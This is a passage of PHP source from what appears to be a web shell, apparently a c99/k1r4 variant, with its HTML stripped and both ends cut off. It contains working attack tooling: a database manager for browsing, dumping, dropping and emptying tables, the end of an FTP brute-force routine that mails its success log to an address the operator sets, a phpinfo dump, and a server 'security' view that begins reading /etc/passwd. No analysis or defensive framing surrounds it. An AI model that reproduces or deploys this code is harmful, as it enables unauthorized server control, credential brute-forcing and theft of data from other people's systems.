array();} if (!empty($sql_tbl_insert_radio)) { } else { echo "Inserting row into table:"; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "FieldTypeFunctionValue"; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo "".htmlspecialchars($name)."".$field["Type"]."PASSWORDMD5ENCRYPTASCIICHARRANDLAST_INSERT_IDCOUNTAVGSUM--------SOUNDEXLCASEUCASENOWCURDATECURTIMEFROM_DAYSFROM_UNIXTIMEPERIOD_ADDPERIOD_DIFFTO_DAYSUNIX_TIMESTAMPUSERWEEKDAYCONCAT"; $i++; } echo ""; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo ""; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo ""; echo " "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "From: To: "; echo ""; echo ""; echo ""; for ($i=0;$i$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo "".$v.""; $i++; } echo ""; echo " "; echo " "; echo ""; echo ""; } mysql_free_result($result); echo ""; echo "With selected:"; echo "Delete"; echo " "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "TableRowsTypeCreatedModifiedSizeAction"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo " ".$row["Name"]." "; echo "".$row["Rows"].""; echo "".$row["Type"].""; echo "".$row["Create_time"].""; echo "".$row["Update_time"].""; echo "".$size.""; echo " "; echo ""; $i++; } echo ""; echo "»"; echo "".$i." table(s)"; echo "".$trows.""; echo "".$row[1].""; echo "".$row[10].""; echo "".$row[11].""; echo "".view_size($tsize).""; echo ""; echo ""; echo ""; echo "With selected:"; echo "Drop"; echo "Empty"; echo "Dump"; echo "Check table"; echo "Optimize table"; echo "Repair table"; echo "Analyze table"; echo " "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>Create new DB:">">">">"> View File:">">">">">"> $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "Done!Total time (secs.): ".$ftpquick_t."Total connections: ".$i."Success.: ".$success."Unsuccess.:".($i-$success)."Connects per second: ".round($i/$ftpquick_t,2).""; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"Shell [ci] . Biz ".$shver." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? "; } }}if ($act == "d"){ if (!is_dir($d)) {echo "Permision denied!";} else { echo "Directory information:"; if (!$win) { echo "Owner/Group "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "Perms".view_perms_color($d)."Create time ".date("d/m/Y H:i:s",filectime($d))."Access time ".date("d/m/Y H:i:s",fileatime($d))."MODIFY time ".date("d/m/Y H:i:s",filemtime($d)).""; }}if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();}if ($act == "security"){ echo "Server security information:Open base dir: ".$hopenbasedir.""; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:"; if